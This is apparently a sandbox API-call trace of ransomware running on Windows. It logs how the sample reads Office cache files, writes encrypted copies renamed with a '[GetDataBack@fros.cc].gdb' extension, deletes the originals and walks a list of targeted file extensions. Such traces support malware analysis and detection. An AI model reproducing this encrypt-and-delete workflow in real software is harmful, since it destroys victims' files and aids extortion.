SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.502] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.503] GetLastError () returned 0x0 [0115.503] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x646, lpOverlapped=0x0) returned 1 [0115.504] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x650, lpOverlapped=0x0) returned 1 [0115.505] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0115.505] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xf0, lpOverlapped=0x0) returned 1 [0115.505] SetEndOfFile (hFile=0x1a8) returned 1 [0115.505] CloseHandle (hObject=0x1a8) returned 1 [0115.505] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.505] SetEndOfFile (hFile=0x1a4) returned 1 [0115.506] CloseHandle (hObject=0x1a4) returned 1 [0115.506] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.506] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0115.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.507] lstrlenW (lpString=".doc") returned 4 [0115.507] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.507] lstrlenW (lpString=".docx") returned 5 [0115.507] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.507] lstrlenW (lpString=".pdf") returned 4 [0115.507] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.507] lstrlenW (lpString=".xls") returned 4 [0115.507] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.507] lstrlenW (lpString=".xlsx") returned 5 [0115.507] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.507] lstrlenW (lpString=".ppt") returned 4 [0115.507] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.507] lstrlenW (lpString=".zip") returned 4 [0115.507] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.507] lstrlenW (lpString=".rar") returned 4 [0115.507] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.507] lstrlenW (lpString=".bz2") returned 4 [0115.507] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.507] lstrlenW (lpString=".7z") returned 3 [0115.507] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.507] lstrlenW (lpString=".dbf") returned 4 [0115.507] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.507] lstrlenW (lpString=".1cd") returned 4 [0115.507] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.507] lstrlenW (lpString=".jpg") returned 4 [0115.507] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.695] lstrlenW (lpString=".doc") returned 4 [0115.695] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.695] lstrlenW (lpString=".docx") returned 5 [0115.695] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.695] lstrlenW (lpString=".pdf") returned 4 [0115.695] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.695] lstrlenW (lpString=".xls") returned 4 [0115.695] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.695] lstrlenW (lpString=".xlsx") returned 5 [0115.695] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.695] lstrlenW (lpString=".ppt") returned 4 [0115.695] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.695] lstrlenW (lpString=".zip") returned 4 [0115.695] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.695] lstrlenW (lpString=".rar") returned 4 [0115.695] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.695] lstrlenW (lpString=".bz2") returned 4 [0115.695] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.695] lstrlenW (lpString=".7z") returned 3 [0115.695] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.695] lstrlenW (lpString=".dbf") returned 4 [0115.695] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.695] lstrlenW (lpString=".1cd") returned 4 [0115.695] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0115.695] lstrlenW (lpString=".jpg") returned 4 [0115.695] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.696] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.696] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0115.696] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.884] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=913) returned 1 [0115.884] CloseHandle (hObject=0x1c4) returned 1 [0115.884] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0115.884] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.884] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.884] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.884] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.884] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0115.885] GetLastError () returned 0x0 [0115.885] ReadFile (in: hFile=0x1c4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x391, lpOverlapped=0x0) returned 1 [0115.899] WriteFile (in: hFile=0x1c8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x3a0, lpOverlapped=0x0) returned 1 [0115.899] ReadFile (in: hFile=0x1c4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0115.900] WriteFile (in: hFile=0x1c8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xee, lpOverlapped=0x0) returned 1 [0115.900] SetEndOfFile (hFile=0x1c8) returned 1 [0115.900] CloseHandle (hObject=0x1c8) returned 1 [0115.900] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.900] SetEndOfFile (hFile=0x1c4) returned 1 [0115.901] CloseHandle (hObject=0x1c4) returned 1 [0115.901] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.901] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0115.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.902] lstrlenW (lpString=".doc") returned 4 [0115.902] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString=".docx") returned 5 [0115.902] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.902] lstrlenW (lpString=".pdf") returned 4 [0115.902] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString=".xls") returned 4 [0115.902] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString=".xlsx") returned 5 [0115.902] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.902] lstrlenW (lpString=".ppt") returned 4 [0115.902] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.902] lstrlenW (lpString=".zip") returned 4 [0115.902] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.902] lstrlenW (lpString=".rar") returned 4 [0115.902] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString=".bz2") returned 4 [0115.902] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString=".7z") returned 3 [0115.902] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.902] lstrlenW (lpString=".dbf") returned 4 [0115.902] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.902] lstrlenW (lpString=".1cd") returned 4 [0115.902] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.902] lstrlenW (lpString=".jpg") returned 4 [0115.902] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.902] lstrlenW (lpString=".doc") returned 4 [0115.902] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.902] lstrlenW (lpString=".docx") returned 5 [0115.902] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.903] lstrlenW (lpString=".pdf") returned 4 [0115.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.903] lstrlenW (lpString=".xls") returned 4 [0115.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.903] lstrlenW (lpString=".xlsx") returned 5 [0115.903] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.903] lstrlenW (lpString=".ppt") returned 4 [0115.903] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.903] lstrlenW (lpString=".zip") returned 4 [0115.903] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.903] lstrlenW (lpString=".rar") returned 4 [0115.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.903] lstrlenW (lpString=".bz2") returned 4 [0115.903] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.903] lstrlenW (lpString=".7z") returned 3 [0115.903] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.903] lstrlenW (lpString=".dbf") returned 4 [0115.903] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.903] lstrlenW (lpString=".1cd") returned 4 [0115.903] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0115.903] lstrlenW (lpString=".jpg") returned 4 [0115.903] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.903] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.903] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0115.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0115.945] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=5557) returned 1 [0115.945] CloseHandle (hObject=0x19c) returned 1 [0115.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0115.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0115.945] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.945] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0115.945] GetLastError () returned 0x0 [0115.945] ReadFile (in: hFile=0x19c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x15b5, lpOverlapped=0x0) returned 1 [0115.948] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x15c0, lpOverlapped=0x0) returned 1 [0115.949] ReadFile (in: hFile=0x19c, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0115.949] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xee, lpOverlapped=0x0) returned 1 [0115.949] SetEndOfFile (hFile=0x1a0) returned 1 [0115.949] CloseHandle (hObject=0x1a0) returned 1 [0115.950] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.950] SetEndOfFile (hFile=0x19c) returned 1 [0115.951] CloseHandle (hObject=0x19c) returned 1 [0115.951] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.951] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0115.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.951] lstrlenW (lpString=".doc") returned 4 [0115.951] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.951] lstrlenW (lpString=".docx") returned 5 [0115.951] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.951] lstrlenW (lpString=".pdf") returned 4 [0115.951] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.951] lstrlenW (lpString=".xls") returned 4 [0115.951] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.951] lstrlenW (lpString=".xlsx") returned 5 [0115.952] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.952] lstrlenW (lpString=".ppt") returned 4 [0115.952] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.952] lstrlenW (lpString=".zip") returned 4 [0115.952] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.952] lstrlenW (lpString=".rar") returned 4 [0115.952] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString=".bz2") returned 4 [0115.952] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString=".7z") returned 3 [0115.952] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.952] lstrlenW (lpString=".dbf") returned 4 [0115.952] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.952] lstrlenW (lpString=".1cd") returned 4 [0115.952] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.952] lstrlenW (lpString=".jpg") returned 4 [0115.952] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.952] lstrlenW (lpString=".doc") returned 4 [0115.952] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString=".docx") returned 5 [0115.952] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.952] lstrlenW (lpString=".pdf") returned 4 [0115.952] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString=".xls") returned 4 [0115.952] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString=".xlsx") returned 5 [0115.952] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.952] lstrlenW (lpString=".ppt") returned 4 [0115.952] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.952] lstrlenW (lpString=".zip") returned 4 [0115.952] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.952] lstrlenW (lpString=".rar") returned 4 [0115.952] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString=".bz2") returned 4 [0115.952] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.952] lstrlenW (lpString=".7z") returned 3 [0115.952] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.953] lstrlenW (lpString=".dbf") returned 4 [0115.953] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.953] lstrlenW (lpString=".1cd") returned 4 [0115.953] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0115.953] lstrlenW (lpString=".jpg") returned 4 [0115.953] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.953] lstrcmpiW (lpString1=".chm", lpString2=".gdb") returned -1 [0115.953] lstrlenW (lpString="pss10r.chm") returned 10 [0115.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.033] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=27195) returned 1 [0116.033] CloseHandle (hObject=0x19c) returned 1 [0116.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0116.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.033] CreateFileW 